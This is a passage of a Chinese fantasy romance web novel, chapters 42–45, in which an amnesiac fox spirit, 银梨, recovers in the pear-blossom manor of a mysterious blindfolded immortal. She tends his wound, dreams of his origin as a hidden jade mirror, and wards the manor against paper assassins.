等到半路,银梨终究还是没有忍住,拦住了他:“等等!” 白衣人回过头来。 银梨想了一路,还是觉得太多地方说不出的别扭,她不敢全信。 银梨问:“你告诉我的事,是真的吗?” 白衣人微笑。 他反问:“你希望是真的吗?” 银梨一时失语。 见银梨没有给出确切的答案,回光仙君便回答道:“我想,至少你希望相信的部分,应当是真话。” 言罢,他转身离去,静静消失在长廊尽头。 第42章 银梨在这座宅邸中住了下来。 记忆还是没有恢复的迹象, 不过寄居在他人府邸中的日子,没有想象中那么煎熬。 那位白衣仙君神出鬼没,少言寡语, 如果没有入侵的外敌, 银梨又不刻意去找他, 他可以一连几日不出现。 在这种时候,银梨几乎要以为自己一个人住在这么大的宅子里,她就是这座宅子的主人。 在她眼中,这位白衣仙君属实是个奇怪的人。 他明明能开口讲话, 可若非实在无法用点头摇头解决, 他便不语不言。 他双目难视, 理应生活不便,可他宁愿一个人居住,周围一个人都没有, 即便银梨与他同住于此,他还对银梨有恩, 银梨也从未听他向自己求助。 他住着一个那么大的宅子, 可 大部分时候,都闭门不出,银梨很难看见他人在哪里。 银梨有许多觉得别扭的地方,但她毕竟只是客人, 那位仙君又生性疏离, 总觉得很难开口。 银梨只得维持着这般不远不近的关系, 先专注于自己的事。 ——她的身体亏空很厉害。 这是银梨近日最大的发现。 大概是由于失忆, 银梨对自己的身体状况不太熟悉,她花了一点时间才确认这一点。 她的灵气应当远比她的正常状态空虚。 神力像被激烈地燃烧损耗过,整只狐狸都被掏空了, 许多她自认为应该能使用的术法都使不上来。 除此之外,最明显的异常,就是她变得会饿、会渴,还变得需要睡眠,修为也有明显下降的痕迹,如果要恢复原状,恐怕得重新修炼很多时间。 在她失忆之前……究竟发生什么了? 这些显然不是现在的银梨能知道的了,她决定将精力放在自己能掌控的事上。 恢复记忆这种事不能强求,暂时也没头绪,但保养身体,只要吃好喝好,养精蓄锐,应该慢慢就能调理。 于是银梨开始好好照料自己。 比起人形,明显是狐形更为节能。 于是她整日整日地团成一个白团子,用九条尾巴裹着自己,眯着眼在院子里睡觉。 说来奇怪,月东林里的雾气很重,但自从她住到这个宅子里以后,几乎日日都是晴天。 和煦的太阳暖洋洋地照在身上。 一觉从中午睡到傍晚,很是舒适。 以至于银梨每次醒来,都很是恍惚,总觉得这样好的天气,她已许久没有经历过了。 除了睡觉,银梨还计划多吃些东西。 她不好意思动白衣仙君屋里的东西,但好在,她对月东林的布局还有些模糊的概念。 她决定以后上午去林子里找些水果浆果和灵草果腹,午后就窝着睡觉。 她没有对任何人提及这件事,本打算就这样自己慢慢养养。 然而,就在她出门摘了两天果子后,第三天一早,她一开门,就看到门前放了食盒和果篮。 里面全都是她喜欢的饭菜和水果,食盒设计精巧,下面有术法驱动的小炉温着,菜都是热腾腾的,汤饭俱全,还有精巧的点心。 这府邸里总共就两个住户,想也知道是谁送来给她的。 只是,对方是怎么知道她的情况的呢? 不但知道她想吃东西,还清楚地了解她的喜好。 而且,既然给她送了这些东西,又为何没有露面? 银梨百思不得其解,只得先将食盒拿进了屋。 谁知,从那以后,日日如此。 银梨每次收到食盒,都会去回光仙君的屋前敲门,想要向他道谢。 但不知对方是凑巧不在,还是有意回避,银梨每次都扑了空,从未见到人。 唯有摆在门前的食盒,从未漏过。 既是主人一番好意,银梨又需要,她便没有推拒。 饭菜水果她基本都吃了。 只是,她心里并非没有疑惑—— 这些东西是哪里来的呢? 这屋子里没有侍从,银梨更从未见厨房生火,仙人大多辟谷,不重口腹之欲。 那仙君看着清冷,还是有眼疾之人,总不至于他天天在背地里下厨,专门给自己做两菜一汤还捏了点心吧? 这画面越想越怪。 不过,这种无微不至的照料……似曾相识。 曾几何时,好像也有过谁,对她有求必应,即使她不说,也想尽办法给她提供她喜欢的东西。 那人说,满足她的需求,是一种本能。 只是,那人好像没有目盲,并非一身白衣,也不至于如此少言。 而如今这样做的,却是这位让人捉摸不透的回光仙君。 银梨看着食盒偏头,想不明白。 * 在宅邸中住的前半个月,两人就维持着这样不远不近的关系。 银梨知道是回光仙君在照顾自己,却始终没找到道谢的机会,甚至连对方的面都没怎么见到。 直到一天深夜。 银梨对这位仙君自己所言的身世,实则持保留态度。 但在她怀疑的时候,仙君口中那位叔父倒是没有闲着,隔三差五就会派黑衣纸人过来。 黑衣纸人一次比一次强,仙君的剑招也一次比一次绚丽。 那一天深夜,银梨听到动静赶过去的时候,白衣仙君那边已经结束了。 被劈散的纸人符咒撒了一地,比过去任何一次都多。 银勾般的弯月下,白衣仙君潇洒地收起雪剑。 然后,他晃了晃身形。 夜色幽深,银梨也没看太清楚。 她看到对方疑似摇晃,第一时间就想过去扶,谁知,那白衣仙君马上就站直了身子。 他好像听到了银梨的动静,微微转过头来,同平时一般,微笑着对她略微颔首,便一言不发地离去了。 第二天,银梨没有见到那位仙君。 第三天,还是没有见到。 每天的伙食还是会照旧放在门前,一样不少,只是回光仙君本人全然没有露面。 这本来也不是什么怪事,这位仙君素来如此。 然而,第三天清晨,银梨开门拿到食物的时候,在食案几步远的地方,她看到地上落了几点血迹。 很小的几个血点,落在青石板路上,犹如几朵随意散落的寒梅。 银梨上前,用手指轻捻,放在鼻尖闻嗅。 ……很新,伤者没有离开多久。 银梨想起那日白衣仙君身影不自然的晃动,很不放心。 …… 当日,银梨踌躇过后,便决定去敲回光仙君的门。 那位仙君看着有事也不会主动说,无论如何,去确认一下他的情况,总归安心一些。 最重要的是,银梨总觉得,类似的事情以前也有过。 说不清是什么原因,但银梨有某种感觉,事情好像正在向着十分类似的方向推进。 如果这次也和那个时候一样的话…… 银梨定了定神,走到回光仙君的房门前。 回光仙君住在宅邸最深处的院子,平日不怎么出来,银梨住在这里半个月了,都没怎么在宅子中见过他几次。 手举到门中央。 咚咚咚。 “回光仙君,你在吗?” 无人回音。 银梨想了想,又敲了一次。 “回光仙君,你……” 咚……咯吱—— 话音未落,才敲了第一下,门就自己开了。 银梨一愣。 看着虚掩的房门,她只觉得熟悉感越来越强。 当下的事情,简直就像在对过去某个时刻的重演。 不再迟疑,银梨直接推开门,闯了进去—— 外屋没人。 这是特别清净的一间屋子,屋内陈设少得令人发指,只有一张圆木桌和两个圆灯,桌上有一支从未用过的簇新蜡烛,除此之外可谓家徒四壁。 很难想象这么大、这么画面的一座宅子里面,主人住的竟是如此清简的卧室,没有半点活人气,要不是里面十分干净,角落里也没有挂蜘蛛网,几乎要让人以为是鬼屋。 银梨顿了一下。 她自己住的客房明明布置得很温馨,没想到那位白衣仙君身为宅子的主人,居住条件竟这般简陋。 不过,现在重要的不是这个。 银梨见外屋没人,又往内室去。 一转弯,她便看到地上倒了个人。 不是白衣仙君,又是何人? 银梨:“……” 尽管是意料之中,银梨的心脏还是在看到画面的瞬间揪紧。 大片的鲜血,从男子的肩膀处渗出,蔓延了整个背部。 回光仙君惯穿的白衣,大半被鲜血染红,分外触目惊心。 只消一想就知道,这定是前些日子那些黑衣纸人造成的伤势。 这般严重,他竟一个人不声不响躲在屋里。 银梨赶忙跑过去,将白衣仙君从地上扶起来。 回光仙君的体温真的很低,几次短暂的接触,银梨都未从他身上感觉到过任何温度,抱着他就像抱着一块大冰块。 此刻,他 气若游丝,一身虚汗。 “仙君!仙君!” 银梨唤了他两声,却没有得到回应。 银梨思索片刻,觉得应当先确认他的身体状况。 于是,银梨立即第一时间将自身灵气探入他体内,往深处探究—— 但这一探之下,银梨倒先怔了怔。 回光仙君身上的伤看着很是吓人,鲜红一片。 不过,据银梨的经验,这应该只是外伤,未伤根基,理应不至于让人晕厥。 真正让银梨感到意外的,是他的气息。 回光的内气很是空虚,就像浑身力量都剧烈地燃烧消耗过,所以全被掏空了一般。 和银梨自己的情况,一模一样—— 作者有话说:某物:内向buff是吧,也归我了。 第43章 这外伤是什么情况、能不能让人晕厥暂且不论, 内气的情况骗不了人,更装不出来。 尽管回光仙君一直看上去游刃有余,可他实际处在相当虚弱的状态。 这种情况, 肯定不是一天两天了。 他本应与银梨一样, 进食、睡觉、好好调养生息, 可这半月以来,银梨从未见他如此做过。如此一来,身体定然没怎么康复。 就在银梨错愕的时候,那白衣仙君一动, 大抵是醒了过来。 下一刻, 银梨立即感到自己的气息被驱逐出了回光仙君的身体。 回光仙君转过头, 由于白绫遮挡,他的脸只露出下半张,银梨只能看到他嘴角微弯, 挂着淡淡的笑,哪怕白衣染血, 他看上去仍然相当从容。 白衣仙君什么话都没有说, 但银梨能明确感觉到,自己方才的举动,应当是侵入了对方不愿被她发现的领域。 银梨才探入他的内气,白衣仙君立即就苏醒了过来, 这个时机, 实在有些凑巧。 就像, 他本来就有意识一般。 银梨一顿, 但既然对方不愿让她深究,银梨便装作没有觉察。 她道:“你怎么伤成这样?来,我扶你。” 银梨架起回光仙君的胳膊, 准备将他扶到床上。 回光仙君看上去伤势极重,银梨本做好了承担他大半体重的准备,可事实上,银梨一抬才发现,回光整个人轻飘飘的,不知是清瘦还是其他,她根本不需要出什么劲,就像在扶一团没有重量的云絮。 她看似出了力,但实际上,更像是回光自己走到床边的。 银梨维持着这种过于轻盈的古怪手感,搀着回光仙君坐下,让他靠着枕头躺好。 从血渗透的情况下,回光伤的应当是肩膀和前胸。 银梨解开他的衣裳,查看里面的伤势。 身上全是血。 回光仙君肌肤苍白,就像从未晒过太阳似的,唯有肩上一刀大口子,从左肩斜割到胸口,皮开肉绽,血肉模糊,血色沾染在皮肤上,分外触目惊心。 银梨的视线不自在地游移了一下。 她应该没什么看男人身体的经验。 这位回光仙君平时长袍宽松,看着削瘦,实际上宽肩窄腰,胸膛坚实,腰腹肌理分明,锻炼痕迹明显,似乎苍劲有力,优美如玉雕而成。 这样的躯体,与银梨熟悉的女子之体截然不同。 而且太过紧实优美,简直不像活人。 银梨逼自己忽略男女之别,像个医者一般,只将注意力放在白衣仙人的伤势上。 她不可置信地问:“你的伤,是前几天的那些纸人伤的吗?” 回光思索,旋即点了点头。 银梨又问:“你怎么一声不吭,也不疗伤?” “……只是小伤,没有必要。” 回光仙君的神情依旧淡淡的,以至于银梨一时分辨不出,他是不是认真这样说。 这时,银梨想到什么,疑惑地道:“仙君,你不是有天月宝灵草吗,只要贴一下应该就好了,怎么不用呢?” 银梨之前只是脸上被剑风蹭到了一下,他都去取天月宝灵草的叶子给她用了。 只要用了那种灵草,再怎么严重的伤势,都只消一瞬就能痊愈。 就是走几步路的功夫,何必硬.挺着,弄得自己浑身是血、倒在屋里? 听到银梨问及此事,回光仙君好似也忽然卡了一下壳。 半晌,他才回答:“忘了。” 银梨:“……” 银梨望着他的神情,一言难尽。 银梨道:“可你给我送饭,一天都没有忘过。怎么轮到自己的事,就这样一声不吭?你但凡跟我说一声,我不说帮你疗伤,至少能提醒你去摘天月宝灵草。” 白衣仙君缓缓地道:“那样做的话,未免有些太麻烦你了。” 银梨不解:“这怎么会算麻烦我?当初你救过我,还让我住在这里,我都还没有报答过你的情谊,如今即便你要求我也救你一次,也是理所应当的。” 白衣仙君回答:“那不一样。” “哪里不一样?” 说出这句话的时候,银梨不觉恍惚了一瞬。 总觉得这段对话,曾几何时,她好像在哪里说过一次。 这时,便听白衣仙君道:“前者我一人即可,不必有什么解释。后者却并非如此。” “……?” 模糊的熟悉感越来越强烈,就连白衣仙君的回答,都像是往她记忆中既定的方向在推进。 像一艘被水流推动的小船,银梨的下一句话自然而然地到了嘴边—— ——你该不会是,不擅长人际交往吧。 她望着白衣仙君的脸,几乎要脱口而出。 但不知怎么的,还未说出口,银梨又将它咽了回去。 她不自觉地换了一句道:“回光仙君,你真的是……这样想的吗?” “……?” 白衣仙君好像也没想到她会这样说,顿了一下,问:“何出此言?” 其实只是懵懵懂懂的感觉。 银梨揉了揉眉心,道:“我也不知道。但我总觉得你的话,好像并非出自本心。仙君您,难不成……是在模仿什么人吗?” 白衣仙君静静微笑着,并未接口。 银梨继续说道:“说违心的话是很累的,再说,对他人所言之语,若不是出自真情,便没了意义。 “其实我觉得,与其勉强自己去说他人想听的话,倒不如直抒胸臆。” 银梨换了口气。 她问:“仙君,你所说的话,真是自己内心所想吗?若不是,比起这些,我会更想知道你真实的想法。” 银梨说话的时候,白衣仙君没有插嘴,只是认真听着。 “这样啊……” 回光仙君的白绫遮了半张脸,银梨看不清他的神情。 但接着,便听他问:“可是,如果我不是现在的样子,你……还会如此待我吗?” “——!” 银梨本应毫不犹豫地回答“是”,可不知为何,就在要说出口的时候,她不由自主地停了下来。 或许,这于她而言,也是一句违心之言。 回光仙君面上仍带着笑。 这本是他一贯的神情,可这一刻,银梨从他的表情中,感到了一丝真切的迷茫。 白衣人轻轻地道:“不是每个人都天生幸运,可以自然而然就留在某个人身边,还能让她感到亲近。 “世上固然有人可以与想要的人偶遇,可以与她在同门修炼,更有甚者,生来便能成为对方的兄长。 “但有些东西的立场,从一开始便不可能相见,无法交谈,也无法得到对方的信任。 “在这种情况下,除了改变自己,我不知道还有什么办法,能让自己在对方眼中,看上去与其他人一样。” 银梨听得微怔。 从两人在月东林相遇以来,只有这一番话,让银梨觉得自己有一些接触到了回光的本质。 她不知道回光指的人是谁,却隐约觉得自己有责任来回答。 可是,银梨也不知该怎么作答。 回光给她的感觉,恐怕相当缺乏与人来往的正面经验。 他好像许多事情都不懂。 凡事无法一蹴而就,即使银梨在这时说些引导他的漂亮话,回光大概也没法正确理解。 等回过神来,银梨摸了他的额头。 “……总之,你应该先好好疗伤。” 银梨说。 “还有,我看你的身 体还有其他问题,今后,你也要吃饭睡觉,不能敷衍了事。” 白衣仙人错愕。 银梨问:“你不愿意吗?” 回光看上去不太明白,但良久,他慢慢点了点头。 银梨松了口气,道:“我去药田那边找几片草药,然后给你上药。你先在这里好好休息。” 言罢,银梨就去药田,摘了草药。 回光仙君似乎并不把这里的灵草太当一回事,他受伤又重,银梨便直接采了天月宝灵草,回到房间以后,一片一片贴在他的伤处。 白衣仙君被上药时很老实,没怎么动,也没有叫痛。 银梨觉得他的表现称得上乖巧,让他干什么,他就干什么,让挪胳膊绝不抬腿,很是省心。 等全都包扎完以后,银梨让他躺下睡觉,他便果真躺下一动不动,只是不知道睡着没有。 不过,不知是回光仙君身上的伤势比较重还是什么,银梨觉得天月宝灵草的疗效似乎不及预期,不像她那天那般,贴上顷刻间就好了。 回光仙君的伤口并未立即愈合,只是止了血。 见他如此,银梨便没法就这样将回光一个人丢在屋里不管,回光睡觉的时候,她便守在床边照看他的情况。 屋里好安静。 银梨托着腮,看着床上。 银梨起先还能硬撑,但后来越来越无聊,她本来也是灵气空虚的状态,容易疲惫,折腾了这么一通,眼皮便开始打架。 不久,银梨脑袋磕巴了一下,也趴在床上睡了过去。 ………… …… 蒙昧之中,她好像做了一个梦。 不过,这个梦太过真实,与其说是梦,更像是属于另一个人的回忆。 在梦里,银梨又变回了玉石。 但这块玉石,并不是她自己平常的身体。 她没有被刻成狐狸,反而成了一个圆形的物件。 银梨感觉自己被一个熟悉的气息拿起来,然后,系到了腰上。 银梨还处在灵智未开的状态,只有微弱的灵识用以观察周围。 她将灵识上抬,发现系上她的人站到了一面大镜子前。 佩戴她的那个女子,银梨觉得,自己应该叫她“姐姐”。 借着景象,银梨也看清了自己的样子。 镜子映照着她,她也映照着镜子。 一块无暇的白玉,有一面极为光洁通透,可照人影,光洁面一周则刻着上古月相朔望图。 原来,她现在是一块玉镜。 第44章 银梨无法操控自己的身体。 或者说, 这本来就不是她的身体。 但是,经由这个梦境,她似乎变得能与这块她在镜中看到的玉镜共感同心。 她能感其所感, 知其所知。 ……奇异地, 银梨对此没有感到什么不适, 甚至觉得很舒服。 就好像,在很久以前,他们本来就应该如此,同体同心, 从不分离。 变成这块玉镜以后, 银梨也能感知到它的想法和情绪。 它似乎是个淡漠内敛的性子, 大多数时候,它都只是静静地被挂在神女腰间,通过神女身上的气息修炼, 没有太多杂念。 只是,它身上总有一丝落寞, 淡淡地, 就像想见什么人,却无法想见一般。 很快,银梨知道了这丝落寞的来源。 每天,神女会在清晨进入内室, 检查太阴星。 唯有那么一会儿, 玉镜的心绪起伏会很大。 透过玉镜的视野, 银梨能看到, 在摆放太阴星的台案上,放着两块雕刻好的灵玉。 一块是玉石灵鹿,一块是玉石狐狸。 每每经过, 银梨都会感觉自己的视线长久地落在那只玉石狐狸上。 然后,灵识深处就会涌现出某种甜美的情绪。 那是强烈的喜悦。 银梨感到自己好高兴,见到她好高兴,与她在一个空间里好高兴,好想一直和她摆放在一起,好想和她合二为一。 银梨很清楚,这是这块玉镜的情绪。 这份情感过于浓烈,也将她深深沉浸其中。 事实上,银梨自己看着那块玉石狐狸时,也会生出奇妙的感觉。 她知道,那好像就是她自己。 从旁人的视角看到自己,实在很新奇。 不过,那种玉石狐狸的状态,应该是很久以前的曾经。 在那个时候,银梨好像一点都没觉察到,还有一面玉镜在关注自己。 她那时也才生出一点点意识。 她苏醒的时候,身边摆放的就是青霜。 青霜离她很近,而且他们几乎每时每刻都在一起,她的注意力大部分都放在了青霜身上。 很快,她就接纳了青霜,成为与自己相伴的兄弟姐妹。 正如青霜接纳她一般。 她内心的缺失,因此得到了完美的填补。 然而,同样的事情发生在眼前时,作为玉镜,银梨明显感到了情感深处的失落。 在她的视线中,玉石狐狸与玉石灵鹿彼此凝望,玉石灵鹿慢慢地取代了玉石狐狸心中,那个本应属于玉镜的双生位置。 好伤心,却无能为力。 可即使如此,每天还是能够见她一次。 只要好好修炼,早晚有一天,可以拥有能自由行动的躯体,然后就能与她重聚。 一天一次的相逢很短暂。 神女停留在内室的时间并不长,很快,银梨便在腰上随着神女离开。 内室的大门关上,里面的光景便看不见了。 如此,日升日落,朝暮轮转。 银梨能做的,唯有分外努力地吐纳灵气,尽快扩大灵识,直到能够自如行动。 她能感觉到,作为玉镜的“自己”,远比真正的她要努力。在她朦胧的记忆里,她在还是石头的时候,不过顺其自然过着快乐的日子罢了。 然而,神女这段日子似乎特别忙,拜访月宫的人接连不断,许多客人都表现出超乎寻常的固执,还会带来重金重礼,体面拒绝不行时,争执也时有发生。 终于有一日,神女不堪重负。 她对好友道:“不行,引兰,想要回光镜的人实在太多了。即使我们已经销毁了制作方法,慕名而来的人还是络绎不绝,手段越来越激烈,我看也不乏有心术不正之人。 “我怕回光镜放在别处出事,只好一直随身携带,但如今看来,这样也不保险。” 好友道:“那还能怎么办?” 神女思索良久,回答:“唯一的办法,是让回光镜彻底消失在世上,让时间来掩藏它的踪迹,直到许多年后,世人彻底将它遗忘。” 好友微惊:“这样的事,能做到吗?” 神女说:“我想过了,我可以将它藏到一个没人能找到的地方。” 停顿,神女道—— “在月东林里,有一片幽境之地。我可以用术法,在那里制造一片湖泊,再种上梨树为阵,将回光镜沉入湖底,以阵法将其彻底隐藏。” “离月宫较近,我也方便照看那里的情况,以防万一。” “我听说本体是镜子的灵物,往往能够根据外界映照的内容,来改变自己呈现出的样子。” “等它日后修出灵智,拥有可以活动的身体,我们便可给它冠一个别的身份作为掩饰,再将它接回身边,让它与兄弟姐妹团聚。” “如此,便可万无一失。” 好友闻言,许久不言。 然后,她长长地叹气一声,道:“那可要好久好久以后了。这孩子不能留在你身边,借由太阴星的力量修炼,又被沉在湖底,见不到月光,即使再怎么强大的本体,也注定会修行坎坷。 “若无非凡契机,只怕要千年、万年不见天日。” 这对神女来说,显然也是无奈之举,她的声音充满挣扎,只轻轻地道:“这是唯一的办法。” 话完,神女轻轻抚了抚银梨的面门,道:“接下来,看你自己的造化了。” 事情似乎就这样定了下来。 没多久,日升日落的规律生活戛然而止,从此以后,连每日仅有一次的相聚也成了奢望。 神女亲手将她沉入被阵法包围、无人会发现的深湖之中。 银梨最后的意识,是灌没头顶的冰冷。 漫长,漫长的黑暗来临。 她被浸没在深不见底的湖水底,再望不见月光。 ………… …… 嘴里传来清冷、甘甜的滋味。 银梨不自觉地咂了咂嘴,然后意识到自己做了个悠长的梦,慢慢地撑开眼皮,醒了过来。 她发现自己不知何时变回了狐狸的样子,正躺在某个人的怀里。 冰凉的手臂环在她的身侧,轻轻安抚着她,抚顺了她的毛发,没有温度,却有着不太熟练的温柔。 她睁开眼,第一眼看见的,是男人的手。 轮廓分明的大手,关节如刻,比一般人要白皙,素得没有血色。 而修长的食指割开了一道口子,血液流淌出来,散发着与方才口中相似的气味。 银梨苏醒时尝到香甜的气息,方才应当有人往她口中喂了东西,只是银梨没品出是什么。 直到此时,她明白那口感的真面目—— 血。 是血。 方才那白衣仙君,一定是喂了她自己的血。 这仙君肩上才受了那么大的一道伤,本就虚弱,怎么还能把自己的血喂给她?! 银梨吓得一竖尾巴就跳了起来! 然而更古怪的是,银梨一清醒就发现,她灵囊里的灵气迅速充盈了起来,恢复速度远超寻常。 毫无疑问,回光仙君的血,对她来说,竟然有滋补的作用! 银梨惊道:“你怎么把手割破喂我血?你不是伤势还没好吗?!还有你的血怎么——” 白衣仙君听到银梨的声音,就收起了淌血的手。 银梨这才发现,大概是天月宝灵草有效,白衣仙君的伤势已经好得差不多了。 他没有解释,反而好像更担心银梨:“你可还好?” “我……” 银梨本想回答,但想想又觉得不对。 她问:“我为何会不好?” 白衣仙君蹙起了眉头,言道:“你我之间情况特殊,有可能会发生通感。正常来说,既是同生同源,即使通感也不会有什么事。 “但我的情况与寻常不同,你的身体又处在特别脆弱的状态。看你刚才的样子,我担心……” 回光说到这里,止了口,没有继续说下去。 银梨追问:“我们情况特殊?什么特殊?通感又是什么?” 白衣仙人白绫下唯一露出的嘴角微微上扬,他大抵是意识到自己已经讲得太多,止了口,只用微笑回应。 他抬起手,摸了摸银梨的头,道:“没事便好。” 银梨:“……?” 银梨盯着白衣仙人。 话到这个地步,她大概也知道对方喂她血应该没有恶意,只是对方不愿意说理由,也很难强求。 罢了,细水长流吧。 * 尽管白衣人的伤势已经好了大半,但出于对这个人一声不吭性格的担忧,还有投桃报李,银梨开始主动照看他。 首先要解决的,就是动不动就来袭击的纸人刺客的问题。 回光仙君受过伤以后,他那位“叔父”照旧会派来暗杀。 最先的时候,银梨都是在晚上听到动静。 白衣仙君总是比她先到。 她一过去,便看到白衣仙君的月下剑术,剑招一次比一次轻盈利落,优美至极。 银梨曾想过要帮忙,但实在太巧,每次她到的时候,回光仙君都自己打完了。 直到有一回,银梨半夜被吵醒。 她现在灵力空虚,很需要休息,看完剑术回房后没睡好,第二天精神不佳,哈欠连天。 回光仙君见了,不知为何又向她道歉。 从那以后,黑衣人忽然变了作息,改成白天来了。 白衣仙人的剑术精湛依旧。 银梨很快就发现了这个变化。 银梨不由在心里感慨,这叔父人还挺好,知道晚上不打扰大家睡觉,有什么仇怨都留到白天解决,很是体贴。 不过,无论刺客什么时间来,总归要击退他们,明显治标不治本。 以前也就罢了,如今白衣仙人已经受过一次伤了,就算有天月宝灵草,有他晕倒在地的前车之鉴在先,银梨还是觉得要尽量避免他再遇到危险。 比起随机应变,不如防患于未然。 于是,银梨考虑了一番,便拖着尾巴在宅邸周围布置了几个阵法,专门用于防止外物入侵。 阵法很有效,从那以后,黑衣人不来了。 银梨高兴地告诉了回光仙君这个好消息。 对方沉静如故,微笑着点了头。 但话虽如此,银梨却莫名从他那张清冷的脸上,看出了几分巧妇难为无米之炊的无奈。 ……怎么了? 难不成他还挺喜欢打那些黑衣人的吗? ……真搞不懂男人。 * 另外一件事,就是伙食问题。 回光的外伤是治好了,但内伤调养却是长期的功课。 银梨既然已经发现白衣仙君的情况与她是一样的,便不想放任不管,两人正好可以一起调理。 银梨决定要与白衣仙君一起吃饭。 那么首要任务,就是要搞清楚,白衣仙君那些吃的是从哪里来的。 银梨不乐意拐弯子,直接跑去问。 白衣仙君于是带她去了庖厨。 灶房里很干净,用具齐全,却毫无使用痕迹,不像有人烧过饭。 正当银梨摸不着头脑时,白衣仙君示意她直接打开锅盖。 银梨一揭锅,便惊了。 陶锅之内,直接冒出香喷喷的粥来。 其他齐聚也类似,铁锅里会有炒菜,蒸笼里会有包子和点心,想要米饭和汤羹也能心想事成。 银梨很是吃惊:“都是我喜欢吃的东西。” 白衣仙君未言,只在她身边微笑。 银梨从未见过这样的场面,问:“这是什么术法?这些饭菜……” 总不能是凭空冒出来的吧? 回光仙君平静地回答道:“和药田的灵草一样,只要我见过,这里自然可以有。” 话完,他便做了个手势,邀请银梨取用食物。 ……回光仙君这个人,还有他的府邸,实在有些不同寻常。 不过,现在也不是深究的时候。 银梨没有再问,先取了自己的一份,回头问白衣人道:“仙君,你呢,你想吃什么?” 白衣仙君微微错愕:“我吗?” 他的样子,就像他明明见过这些食物,却从来没有想过要自己吃一口一样。 银梨道:“当然,我们不是要一起吃吗?不能只考虑我一个人的喜好吧。” 白衣仙君偏着头想了很久,说:“我不太清楚。” “不太清楚?” “我没有口腹之欲,不知道‘想吃’是什么感觉。” “?!” 这下银梨是真有些震惊了。 这位回光仙君,不会这辈子都没吃过东西吧?! 其实严格来说,银梨也不需要进食,但她肯定是吃过很多东西的。 不是为了生存,只是为了开心。 她有正常的成长过程,只要见过凡人的生活方式,便会好奇,便会模仿,自然也会尝试。 世间生灵,大多如此。 银梨注视着白衣仙君,有些难以想象他的生存环境。 总觉得,这世上只有死物,才会从无欲望。 银梨想了想,道:“那你就从现在开始试试吧。” “好。” “你想先从哪里开始?” 白衣人思索片刻,说:“那就与你一样吧。” “……好。” 于是银梨又取了一份与自己一模一样的。 两份同样的食物分别摆在两人面前。 银梨看着回光脸上的白绫,犹豫了一下,没有自己先吃,而是捧起粥,吹了吹,递到白衣人唇边,用瓷勺碰了碰他的嘴唇。 白衣人:“?!” 他好像很是不解。 银梨隐约觉得自己应该有过照顾目盲之人的经验。 没有人这样要求她 ,但她一看到白衣仙君脸上的白绫,便自然而然地这样做了。 银梨道:“怎么了?你这样蒙着眼睛,应该是看不见吧?” 回光大半张脸都被白绫遮着,银梨看不见他此时的反应。 不过,他在迟疑半晌以后,就着银梨的手,吃了一口。 银梨问他:“好吃吗?” 回光:“……” 白衣人停顿了很久。 银梨不由又问了他一次:“怎么了?不好吃?” 对方这才回答:“没注意。” 银梨:“?” 怎么还能没注意?! 银梨于是决定往他嘴里塞第二口,但在她这样做以前,对方先一步从她手里接过了勺子—— 作者有话说:某物:我这个白绫只是模仿性装饰,但现在我希望自己真瞎了。_(:з」∠)_ 第45章 冰凉的手轻轻触到了银梨握着碗的手指边沿, 但并未停留。 白衣仙君微笑着道:“还是我自己来吧。” 银梨不解:“怎么了?” 白衣仙君道:“你是好意,但我不该放纵自己让你为我做这些。” 他笑得很温柔,似乎隐含着某种克制。 话完, 他又认真地道谢:“谢谢你。” “?” 银梨眨了眨眼。 “谢我什么?” 回光说:“我从未想过有一天……多谢你。” 他抚着碗沿, 像是有所留恋。 银梨还是不解。 她只是喂了对方一口粥而已, 举手之劳,但回光的语气,就好像她做了什么他不敢想过会有的、了不起的善事似的。 银梨道:“你真不需要我帮忙吗?” 回光摇了摇头。 他说:“我想自己试试看。” 停顿。 他又多解释了一句:“像刚才那样吃,我会忘记尝味道。” 银梨:“?” 银梨不是很明白, 但既然回光说他自己可以, 银梨便没有勉强。 她眼看着回光仙君生疏地握着勺子, 像拿了个瓢试图在壶里打水一样,试探地在碗里捞粥。 他的动作迟缓。 回光看上去有种难以形容的笨拙。 他仿佛是在模仿某种他见过很多次、但从未亲自做过的事,犹如孩童学步, 生涩蹒跚。 在银梨的注视下,白衣仙君缓缓地吃了一勺粥。 他的脸上看不出什么变化。 银梨好奇地问:“怎么样?” 白衣仙君慢慢地回答:“……原来是这样的口感。” 这是好吃还是不好吃? 银梨问:“你不喜欢吗?” “……不是。” 他摇了摇头。 银梨不太懂他的意思:“那是喜欢?” 白衣仙君又摇了摇头。 思索片刻, 他回答道:“不难吃。但比较起来, 好像不如第一口。” 银梨:“?” 他刚才不是还说,被人喂的话,尝不出味道吗? 银梨迟钝地思量着他的话,摸不着头脑。 * 两人面对面坐着, 吃完了所有东西。 银梨眼看着白衣仙君, 从拿个勺子都有陌生感, 到后面逐渐熟练, 等到吃完最后一口的时候,他已然从容自若,与常人无异。 银梨盯着他的动作看, 不免稀奇。 两人走回住处的时候,银梨没有忍住,在白衣仙君身边变成狐狸的样子,拖着尾巴,哒哒哒绕着他跑了一圈,然后竖起耳朵去看他的反应。 见回光没什么反应,她换了个方向,哒哒哒又跑了一圈,继续再去看。 白衣仙君还是没什么反应。 银梨不禁开口问:“仙君,你没什么地方觉得不对吗?” 白衣人停住了脚步,看上去有些疑惑:“什么?” “……没事。” 银梨疑窦未消,却不得不放弃了试探他的做法。 回光仙君给她的感觉,实在太安适自然了,不仅剑术高超,听声辨位的能力十分超群,在这么大的宅邸中行动也娴熟自若,银梨忍不住怀疑他是不是真的一点视力都没有。 只是,这次还是试探未果。 银梨抖了抖耳朵。 白衣仙君蒙着白绫的脸和煦依旧,看不出表情。 * 春意渐浓。 在宅邸中住到第二个月的时候,银梨已经很习惯住在这里,也变得习惯与同住的另一个人相处。 住在梨花林中的这段时间,银梨总觉得时间和季节都很模糊。 每一天都是盛春,每一天都是晴日。 每一天都无需为什么事奔波,每一天都很安逸。 以前,偶尔还会有黑衣纸人出现,但自从布置了阵法以后,连这短暂的插曲也彻底消失了,日子更为宁静祥和。 这一天,银梨醒来的时候,发现昨夜可能起了些风,将梨花林中的梨花花瓣吹掉了许多。 白衣仙君似乎十分喜欢梨花。 他的宅邸不仅安置在梨花林中,院中也种了大量梨树。 经过这一夜,梨花花瓣落下,在地上铺了厚厚一层,简直像积了雪。 这样的场景,在银梨记忆清晰的地方,恐怕是很难见到的,也只有在这里,才能如此自然。 她没有忍住,“嗷”一声钻进花瓣堆里,只有九条尾巴竖在外面,在里面乱拱了一番,然后又翻过身来,在花堆里打滚。 就这样一只狐狸自得其乐地玩了半天,银梨才忽然回过神来,赶紧翻回过来,甩了甩毛,将身上的花瓣抖掉。 她突然觉得有点羞耻。 